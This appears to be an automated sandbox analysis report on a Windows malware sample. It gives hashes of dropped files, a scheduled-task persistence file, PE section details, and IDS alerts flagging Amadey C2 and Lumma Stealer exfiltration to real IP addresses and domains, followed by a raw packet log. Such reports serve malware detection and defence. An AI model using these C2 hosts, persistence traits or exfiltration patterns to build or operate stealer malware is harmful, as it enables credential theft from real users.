SHA1:	268717A1D24EF6BE6B40B16F9E7F731AE7205083
SHA-256:	570EE6EA154DC3DA02A3E52122C89A504FDEA8B8B622A5E13848804AF7486B84
SHA-512:	F0D6D22F52E498BAC2327E7928ADE046D57B254CDF97B6A490A0E6B515873B1832ECD66C2DAAD8761FF0F1F26CE1E84F0B4B7E80DA5A7AB0DA04890460EAC005
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g.............................pH...........@...........................H......U....@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......\..............@... ..)..@.......^..............@...vkhwstep.`..../..Z...`..............@...lvdrqtey.....`H.....................@....taggant.0...pH.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3052544
Entropy (8bit):	6.5322942905381485
Encrypted:	false
SSDEEP:	49152:/P3rIIr3MtpBciwvsWcxVlYC5PsS2EOtQLp:33rIIr3MbBciwvsWcPlYIP8EOtq
MD5:	D7113B1A5BE08CF46656BCC72D1DA368
SHA1:	CB8C987C86F7EB7A884BB69E826B08E143D0E027
SHA-256:	0F24D4438DE4579512F19CAF0BDA9182A23630286B23D6CFBFF7299FA10F025E
SHA-512:	37728FF308ACCEBCDEDCC13E4D730D4E1CE1E97C1C372498090FACC960BF31E8557009C59CC4254CB52FDFDD6BCE3507E6D838BAC70F028B9C93DB29A17B175C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................@2...........@..........................p2...........@.................................W...k...........................l'2..............................'2..................................................... . ............................@....rsrc...............................@....idata ............................@...mosleulr..+......x+.................@...nfmzxgpu.....02......n..............@....taggant.0...@2.."...r..............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.419637685672093
Encrypted:	false
SSDEEP:	6:HSxX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lPEt0:yNuQ1CGAFifXVPEt0
MD5:	099E45E666CAA4E2166247BBE6E74BE9
SHA1:	7A4CF3E42566DE6B3CE9CE3C0AB6B9053FDBD78B
SHA-256:	CF9CA7F4A7542BCC7ADCFA6A7133C0AFC0DE536C0E85E3C335AD5C303EA18D4B
SHA-512:	5543C7933981BE74A5A30279DF36ADAB1A8D4362441DB3A62B94C75567C5207AA5327855891D2CB6265FE78BE2DE6F8161390F68636075939E069B9C1E07E7AE
Malicious:	false
Preview:	.....j^X.mF.vG.`...F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.5322942905381485
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'052'544 bytes
MD5:	d7113b1a5be08cf46656bcc72d1da368
SHA1:	cb8c987c86f7eb7a884bb69e826b08e143d0e027
SHA256:	0f24d4438de4579512f19caf0bda9182a23630286b23d6cfbff7299fa10f025e
SHA512:	37728ff308accebcdedcc13e4d730d4e1ce1e97c1c372498090facc960bf31e8557009c59cc4254cb52fdfdd6bce3507e6d838bac70f028b9c93db29a17b175c
SSDEEP:	49152:/P3rIIr3MtpBciwvsWcxVlYC5PsS2EOtQLp:33rIIr3MbBciwvsWcPlYIP8EOtq
TLSH:	45E54CE2B80976DFD89A1678A917CE82AC5D43F90B1045C7EC28747D7E73CC51AB6C28
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x724000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FB818B7AE8Ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x5d4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x32276c	0x10	mosleulr
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x32271c	0x18	mosleulr
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	ed2b86bc77898ffcf461bfd1833c0075	False	0.9978552878065395	data	7.980619679218189	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x5d4	0x600	1e55db351164df1643ae87d7efa3ee0f	False	0.4303385416666667	data	5.417125179370491	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
mosleulr	0x6b000	0x2b8000	0x2b7800	04d9b2c928f4b8fe5bea0d91c9857a8d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
nfmzxgpu	0x323000	0x1000	0x400	d8b34e40a824b9982866aa987b98764a	False	0.8115234375	data	6.29231858889082	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x324000	0x3000	0x2200	fc015d7967724500f71c4d6ee39d1908	False	0.07651654411764706	DOS executable (COM)	0.8082118548779352	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x3e4	XML 1.0 document, ASCII text			0.48092369477911645
RT_MANIFEST	0x69454	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-18T19:08:06.085869+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	49718	185.215.113.43	80	TCP
2024-12-18T19:08:10.545461+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49720	31.41.244.11	80	TCP
2024-12-18T19:08:18.565322+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	49719	TCP
2024-12-18T19:08:18.932283+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49721	172.67.131.246	443	TCP
2024-12-18T19:08:19.922111+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49722	185.215.113.43	80	TCP
2024-12-18T19:08:21.382989+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49723	31.41.244.11	80	TCP
2024-12-18T19:08:23.519112+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49721	172.67.131.246	443	TCP
2024-12-18T19:08:23.519112+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49721	172.67.131.246	443	TCP
2024-12-18T19:08:24.891361+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49724	172.67.131.246	443	TCP
2024-12-18T19:08:29.114901+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49725	185.215.113.43	80	TCP
2024-12-18T19:08:30.565582+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49726	31.41.244.11	80	TCP
2024-12-18T19:08:31.748501+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49724	172.67.131.246	443	TCP
2024-12-18T19:08:31.748501+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49724	172.67.131.246	443	TCP
2024-12-18T19:08:33.337730+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49727	172.67.131.246	443	TCP
2024-12-18T19:08:34.474550+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49727	172.67.131.246	443	TCP
2024-12-18T19:08:35.522723+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.5	55944	1.1.1.1	53	UDP
2024-12-18T19:08:35.721729+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49729	172.67.131.246	443	TCP
2024-12-18T19:08:35.815465+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49728	185.215.113.43	80	TCP
2024-12-18T19:08:35.815884+0100	2058364	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)	1	192.168.2.5	63513	1.1.1.1	53	UDP
2024-12-18T19:08:37.291937+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49730	31.41.244.11	80	TCP
2024-12-18T19:08:37.385949+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.5	49731	172.67.179.109	443	TCP
2024-12-18T19:08:37.385949+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49731	172.67.179.109	443	TCP
2024-12-18T19:08:38.142787+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49732	172.67.131.246	443	TCP
2024-12-18T19:08:38.153813+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49731	172.67.179.109	443	TCP
2024-12-18T19:08:38.153813+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49731	172.67.179.109	443	TCP
2024-12-18T19:08:39.484637+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.5	49733	172.67.179.109	443	TCP
2024-12-18T19:08:39.484637+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49733	172.67.179.109	443	TCP
2024-12-18T19:08:40.824472+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49734	172.67.131.246	443	TCP
2024-12-18T19:08:41.875228+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49733	172.67.179.109	443	TCP
2024-12-18T19:08:41.875228+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49733	172.67.179.109	443	TCP
2024-12-18T19:08:43.066921+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49735	185.215.113.43	80	TCP
2024-12-18T19:08:43.511342+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.5	49736	172.67.179.109	443	TCP
2024-12-18T19:08:43.511342+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49736	172.67.179.109	443	TCP
2024-12-18T19:08:44.266835+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49738	172.67.131.246	443	TCP
2024-12-18T19:08:44.267004+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49737	172.67.209.202	443	TCP
2024-12-18T19:08:44.519789+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49739	31.41.244.11	80	TCP
2024-12-18T19:08:45.259944+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49736	172.67.179.109	443	TCP
2024-12-18T19:08:45.382140+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49737	172.67.209.202	443	TCP
2024-12-18T19:08:45.382140+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49737	172.67.209.202	443	TCP
2024-12-18T19:08:46.627731+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49740	172.67.209.202	443	TCP
2024-12-18T19:08:47.180254+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.5	49741	172.67.179.109	443	TCP
2024-12-18T19:08:47.180254+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49741	172.67.179.109	443	TCP
2024-12-18T19:08:52.100437+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49742	172.67.131.246	443	TCP
2024-12-18T19:08:52.409357+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.5	49743	172.67.179.109	443	TCP
2024-12-18T19:08:52.409357+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49743	172.67.179.109	443	TCP
2024-12-18T19:08:54.583014+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49742	172.67.131.246	443	TCP
2024-12-18T19:08:57.685815+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49745	185.215.113.43	80	TCP
2024-12-18T19:08:59.156917+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49746	185.215.113.16	80	TCP
2024-12-18T19:09:00.683470+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.5	49747	172.67.179.109	443	TCP
2024-12-18T19:09:00.683470+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49747	172.67.179.109	443	TCP
2024-12-18T19:09:04.424962+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.5	62929	1.1.1.1	53	UDP
2024-12-18T19:09:05.775112+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.5	49749	172.67.179.109	443	TCP
2024-12-18T19:09:05.775112+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49749	172.67.179.109	443	TCP
2024-12-18T19:09:05.790288+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.5	49750	172.67.179.109	443	TCP
2024-12-18T19:09:05.790288+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49750	172.67.179.109	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 19:08:04.611922979 CET	49718	80	192.168.2.5	185.215.113.43
Dec 18, 2024 19:08:04.731906891 CET	80	49718	185.215.113.43	192.168.2.5
Dec 18, 2024 19:08:04.732117891 CET	49718	80	192.168.2.5	185.215.113.43
Dec 18, 2024 19:08:04.732348919 CET	49718	80	192.168.2.5	185.215.113.43
Dec 18, 2024 19:08:04.852029085 CET	80	49718	185.215.113.43	192.168.2.5
Dec 18, 2024 19:08:06.085803986 CET	80	49718	185.215.113.43	192.168.2.5
Dec 18, 2024 19:08:06.085869074 CET	49718	80	192.168.2.5	185.215.113.43
Dec 18, 2024 19:08:07.596894026 CET	49718	80	192.168.2.5	185.215.113.43
Dec 18, 2024 19:08:07.597239971 CET	49719	80	192.168.2.5	185.215.113.43
Dec 18, 2024 19:08:07.716953039 CET	80	49719	185.215.113.43	192.168.2.5
Dec 18, 2024 19:08:07.717061996 CET	80	49718	185.215.113.43	192.168.2.5
Dec 18, 2024 19:08:07.717125893 CET	49719	80	192.168.2.5	185.215.113.43
Dec 18, 2024 19:08:07.717179060 CET	49718	80	192.168.2.5	185.215.113.43
Dec 18, 2024 19:08:07.717519045 CET	49719	80	192.168.2.5	185.215.113.43
Dec 18, 2024 19:08:07.841681957 CET	80	49719	185.215.113.43	192.168.2.5
Dec 18, 2024 19:08:09.078685045 CET	80	49719	185.215.113.43	192.168.2.5
Dec 18, 2024 19:08:09.078998089 CET	49719	80	192.168.2.5	185.215.113.43
Dec 18, 2024 19:08:09.084585905 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:09.204425097 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:09.204535007 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:09.204735041 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:09.328439951 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.545380116 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.545411110 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.545460939 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.545537949 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.545571089 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.545599937 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.545691967 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.545708895 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.545747042 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.545777082 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.546161890 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.546176910 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.546192884 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.546205044 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.546217918 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.546220064 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.546255112 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.546255112 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.546303034 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.672219992 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.672256947 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.672286034 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.672398090 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.676436901 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.676500082 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.676570892 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.676628113 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.737983942 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.738059998 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.738125086 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.738176107 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.742135048 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.742187977 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.742237091 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.742295980 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.748836040 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.748908043 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.748966932 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.749018908 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.757508039 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.757585049 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.757616997 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.757674932 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.766196966 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.766285896 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.766375065 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.766452074 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.774841070 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.774923086 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.774950981 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.775011063 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.783539057 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.783618927 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.783665895 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.783715010 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.792284012 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.792346001 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.792396069 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.792453051 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.800869942 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.800936937 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.801248074 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.801295042 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.809848070 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.810014963 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.810091019 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.810152054 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.817609072 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.817676067 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.817714930 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.817763090 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.825464964 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.825661898 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.825678110 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.825759888 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.859915018 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.860001087 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.930052042 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.930126905 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.930169106 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.930270910 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.932199001 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.932281017 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.932331085 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.932399988 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.936553001 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.936614990 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.936681986 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.936731100 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.940888882 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.940956116 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.941046000 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.941143990 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.945302010 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.945359945 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.945441008 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.945492983 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.949382067 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.949433088 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.949500084 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.949547052 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.953716040 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.953774929 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.953883886 CET	80	49720	31.41.244.11	192.168.2.5
